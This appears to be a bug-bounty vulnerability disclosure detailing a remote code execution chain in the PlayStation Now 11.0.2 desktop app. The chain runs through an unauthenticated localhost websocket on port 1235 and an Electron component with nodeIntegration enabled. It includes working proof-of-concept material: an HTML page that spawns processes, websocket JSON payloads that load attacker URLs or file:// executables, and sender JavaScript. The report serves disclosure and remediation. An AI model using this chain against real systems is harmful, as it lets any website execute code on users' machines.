The PlayStation Now application version 11.0.2
is vulnerable to remote code execution (RCE). Any website loaded in any browser on the same machine can run arbitrary code on the machine through a vulnerable websocket connection.
localhost:1235
does not check the origin of incoming requests.
AGL
.
AGL
to run any local application via the setUrlDefaultBrowser
command.nodeIntegration: true
so JavaScript running in any loaded URL can spawn new processes.
Chaining these three issues gives us RCE.
The PlayStation Now application (psnow
moving forward) is an online streaming application for playing PlayStation games. Version 11.0.2
is the current version at the time of writing. The latest version can be downloaded from https://download-psnow.playstation.com/downloads/psnow/pc/latest.
It has two major components: QAS
and AGL
.
QAS
is an executable named psnowlauncher.exe
and is a Qt5 desktop application. This is the main application that is executed when the user runs psnow. The default installation location is C:\Program Files (x86)\PlayStationNow\psnowlauncher.exe
.
Note: Running it in a Virtual Machine (VM) returns a warning. This can be ignored for this walkthrough.
After launch, it runs a different application called AGL
. The following picture is the complete list of processes in Process Monitor.
Processes in procmon:
{F827146}
The QAS application also runs a websocket server at localhost:1235
. netstat -anb
in an elevated command line tells us about it:
websocket server:
{F827147}
AGL
is an Electron application. In a typical execution, itβs spawned by QAS. In the current version, itβs run with this url
command line parameter:
"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://psnow.playstation.com/app/1.10.43/105/00d3603f8/
This is the URL of the page that will be initially loaded by the AGL application.
AGL execution
{F827149}
nodeIntegration
is the ability for the JavaScript running in an Electron BrowserWindow to access the Node.js APIs. The default value is false
but it is set to true
in AGL. Any JavaScript loaded by AGL will be able to spawn processes on the machine. This can lead to arbitrary code execution. The AGL application performs no checks on what URLs it loads.
We can check this by running AGL from the command line with a URL that contains some Node code. The following code spawns a new processes and runs the Windows Calculator app (calc).
<html>
<head>
<title>This should pop calc on Windows</title>
</head>
<body>
<script>
require('child_process')
.exec('calc')
</script>
</body>
</html>
I have stored this payload in an S3 bucket. If we load that remote URL in AGL we can see calc spawning. To reproduce, run the following command in a VM and see AGL running the calculator application:
"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://[redacted].s3.us-east-1.amazonaws.com/node.html
Popping calc:
{F827156}
We can see the new processes in Process Monitor:
{F827151}
This is not that useful. We can run code on our own machine, WOW! As Raymond Chen said It rather involved being on the other side of this airtight hatchway.
We can proxy psnow with Burp. Use the Windows proxy settings (WinINET proxy settings).
control.exe inetcpl.cpl,,4
. This opens the Windows proxy settings without having to open Internet Explorer.LAN Settings
and set the proxy.
Automatic Configuration
is checked.Bypass proxy server for local addresses
is NOT checked.127.0.0.1:8080
.In Burp, we will see traffic to/from both QAS and AGL. There is other traffic (e.g, browser traffic, Windows update). The traffic from psnow has the word gkApollo
in its User-Agent
header.
The user-agent for requests coming from the two applications has more indicators:
QtWebEngine/5.5.1
.Electron/1.4.16
and playstation-now/0.0.0
.I am using a Burp extension named Request Highlighter to highlight requests based on these words in the user-agent.
In my setup, AGL (Electron) is yellow and QAS (Qt5) is blue.
{F827153}
QAS starts a local websocket server on port 1235
. Then the website loaded in AGL (in this case βpsnow.playstation.com/app/β) connects to it and sends commands to the server.
This is a vulnerable setup for seamless communication between a website and a desktop application. A website sends requests to a local webserver to do something (e.g., launch an application). This setup is vulnerable if the local server does not check the Origin header and/or where the request is coming from.
Some examples of other vulnerable setups:
Tavis Ormandy from Google Project Zero found a very similar setup in Logitech Options.
Another by TavisO for TrendMicro. Not websocket but involved a local webserver: https://bugs.chromium.org/p/project-zero/issues/detail?id=693
Zoom used a local webserver to automatically launch the application from the website. Disclosure by Jonathan Leitschuh.
Why is this bad? Any website can send these commands. This means I can put JavaScript code on my own website. If a user running psnow opens my website on the same machine (in any browser), my website connects to http://localhost:1235
and sends requests to the websocket server. These requests will be processed.
I stole the client code of a websocket chat app and modified it to simulate the evil website. This small app connects to ws://localhost:1235
, prints any message received and allows us to send messages at will. You can see the source at:
{F827145}
Now we need to look into the websocket messages and how we can exploit them.
After opening the initial URL at https://psnow.playstation.com/app/1.10.43/105/00d3603f8/
we can see the Connection: Upgrade
request to this server from psnow.playstation.com
. This is coming from the psnow website loaded in AGL. The initial request is a typical websocket handshake.
{F827150}
Now we can switch to the Proxy > Websockets history
tab in Burp to see the websocket messages.
{F827152}
All the requests are in JSON (probably created by JSON.stringify
). The interesting ones start with command
. For example:
{
"command": "isMicConnected",
"params": {},
"source": "AGL",
"target": "QAS"
}
command
: What to do.params
: Command parameters.source
: The program issuing the command.target
: The program running the command.Both target and source can be the same app. I do not think it really matters what the source is. I think only target
is mandatory.
We can search for more commands in websocket messages. The most important command is setUrl
. There are more commands in the source of the Electron app (unpack app.asar
and search for commandHandler
) but this is the most useful along with setUrlDefaultBrowser
(opens a URL in the default browser on the machine).
{F827154}
{
"command": "setUrl",
"params": {
"url": "https://psnow.playstation.com/app/1.10.43/105/00d3603f8/"
},
"source": "AGL",
"target": "QAS"
}
This is AQL telling QAS to load this URL. QAS will then go and load that URL. We can send this request to Burp Repeater and send the message again with a different URL. For example, letβs tell QAS to load https://example.net
.
{F827155}
But this is not fun. We want AGL to load websites and not QAS. WHAT IF we switched target and source?
{"command":"setUrl","params":{"url":"https://example.net"},"source":"QAS","target":"AGL"}
This command will tell AGL (the Electron app) to load example.net
. The gif has been minimized, please click on it to enlarge it:
{F827144}
Later, I found out that we can use another TavisO bug to get RCE another way. https://bugs.chromium.org/p/project-zero/issues/detail?id=693
We can abuse the setUrlDefaultBrowser
command. It gets passed to shell.openExternal(url)
and allows the file
scheme.
So the following command should pop calc:
{"command":"setUrlDefaultBrowser","params":{"url":"file:///c:/windows/system32/calc.exe"},"source":"QAS","target":"AGL"}
Note: QAS
does not have this command.
Websockets are not bound by the Same-Origin Policy so any website can send these messages. For an explanation please see https://blog.securityevaluators.com/websockets-not-bound-by-cors-does-this-mean-2e7819374acc.
A single websocket message is enough to make AGL load any URL. There are no restrictions here. This is not great, considering we saw what bad code on a website can do to AGL.
So far we have established three things:
setUrl
or setUrlDefaultBrowser
can tell AGL to load any URL.ws://localhost:1235
.{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}
setUrlDefaultBrowser
command.If you have read up until here, you deserve a calc popping gif.
{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}
The code in calc-ws
is similar to the chat code. After the socket to the local websocket server opens, the payload above is sent. See the modification heres:
let url = 'ws://localhost:1235/'
let socket = new WebSocket(url);
let payload = '{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}';
// send the payload when the socket is opened.
socket.onopen = function(event) {
showMessage('before payload');
socket.send(payload);
showMessage('after payload');
};
The following gif shows the whole chain. Again, please see it in full-size.
{F827148}
The application is listening on all interfaces (0.0.0.0
) which is problematic. This is also not fun because the Windows firewall prompt will pop up when its executed for the first time. Meaning anyone who can contact this port might be able to send commands to this websocket server.
Origin
header of the incoming request and only allow requests from good Origins specified in a list.
localhost
.Attackers can run code on usersβ machines. They can get to the other side of the airtight hatchway.